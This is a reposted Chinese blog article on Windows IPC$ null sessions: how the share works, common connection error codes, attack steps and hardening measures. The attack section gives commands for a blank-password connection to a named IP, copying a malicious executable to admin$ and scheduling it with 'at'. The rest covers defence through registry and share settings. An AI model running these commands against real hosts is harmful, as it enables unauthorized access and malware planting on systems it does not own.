IPC$概念及入侵方式研究


catalogue

1. 什么是IPC$
2. IPC$攻擊方式
3. 漏洞檢測與防御措施

 

1. 什么是IPC$

IPC$(空會話連接)是windows系統內置的一個功能模塊,它的作用有很多(包括域帳號枚舉),但是其中對於攻擊者最關心地還是它的網絡文件共享能力,它允許本機的進程/服務以命名管道(named pipe)的形式連接連接上來以實現文件的共享傳輸,根據對應IPC$共享目錄的ACL權限來決定是否可寫/可遍歷等權限

對於IPC$的概念,我們有幾點要明白

1. IPC$和windows的SMB共享都是復用了445端口,它們都基於SMB協議實現,但是IPC$的作用范圍更大一些,它是服務器間進程間通信方式
    1) 可以枚舉帳號: 當然對方服務器也可以禁用枚舉
    2) 共享文件: 基於命名管道named pipe
    The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server's named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.
    3) 執行系統指令

2. IPC$的登錄驗證方式可分為
    1) 匿名anonymous IPC$: 空賬號,空密碼可訪問,但是匿名IPC$的權限往往較低
    2) 非匿名IPC$: 需要帳號密碼的驗證,不過這反過來也為黑客提供了一種暴力破解windows系統賬戶密碼的方式
3. IPC$登錄后共享哪些目錄/文件是可以配置的,如果該共享目錄/文件的列表為空,則IPC$登錄后無法進行文件共享。早上windows server系統上默認配置了幾個IPC$共享目錄
    1) 所有的邏輯盤(c$,d$,e$……)
    2) 系統目錄winnt或windows(admin$)

0x1: IPC$連接常見錯誤

錯誤號5(拒絕訪問):很可能你使用的用戶不是管理員權限的,先提升權限  
錯誤號51(Windows無法找到網絡路徑): 網絡有問題; 
錯誤號53(找不到網絡路徑):
    1) ip地址錯誤
    2) 目標未開機
    3) 目標lanmanserver服務未啟動
    4) 目標有防火牆(端口過濾) 
錯誤號67(找不到網絡名):
    1) 你的lanmanworkstation服務未啟動
    2) 目標刪除了ipc$  
錯誤號1219(提供的憑據與已存在的憑據集沖突):你已經和對方建立了一個ipc$,請刪除再連 
錯誤號1326(未知的用戶名或錯誤密碼)  
錯誤號1792(試圖登錄,但是網絡登錄服務沒有啟動): 目標NetLogon服務未啟動(連接域控會出現此情況) 
錯誤號2242(此用戶的密碼已經過期):目標有帳號策略,強制定期要求更改密碼  

Relevant Link:

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows
https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

 

2. IPC$攻擊方式

0x1: administrator空口令連接

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

0x2: 利用IPC$上傳惡意樣本

copy srv.exe \\121.40.65.98\admin$

我們可以指定把srv.exe復制到目標系統的任何共享目錄中

0x3: 在目標系統執行系統指令

net time \\127.0.0.1 
\\127.0.0.1 的當前時間是 2017/5/28 16:58:29
  
at \\127.0.0.1 11:05 srv.exe 
用at命令啟動srv.exe吧(這里設置的時間要比主機時間快)
  
net time \\127.0.0.1
如果時間到了,就說明指令已經執行了

0x4: 利用IPC$進行密碼爆破

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://zhaogao.blog.51cto.com/205189/53712
https://www.giac.org/paper/gcih/466/ipc-share-exploit-methodology-chinese-attackers/103860

 

3. 漏洞檢測與防御措施

0x1: 檢測本機IPC$共享目錄

通過net share列出本機開放的共享目錄,理論上這些都應該刪掉,為了黑客利用445漏洞入侵后將惡意文件植入類似admin$這種系統核心目錄

0x2: 禁止空連接進行枚舉

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD的鍵值改為:00000001

0x3: 禁止默認共享

1. 察看本地共享資源: net share
2. 刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)

3. 停止server服務: net stop server /y(重新啟動后server服務會重新開啟)
4. 禁止server服務器自啟動

5. 修改注冊表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer(DWORD)的鍵值改為:00000000。 
# OR
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareWks(DWORD)的鍵值改為:00000000。 
# 如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節值)一個主健再改鍵值  

0x4: 永久關閉ipc$和默認共享依賴的服務: lanmanserver即server服務

控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-已禁用

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://www.pc6.com/InfoView/Article_42319.html

Copyright (c) 2017 LittleHann All rights reserved


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM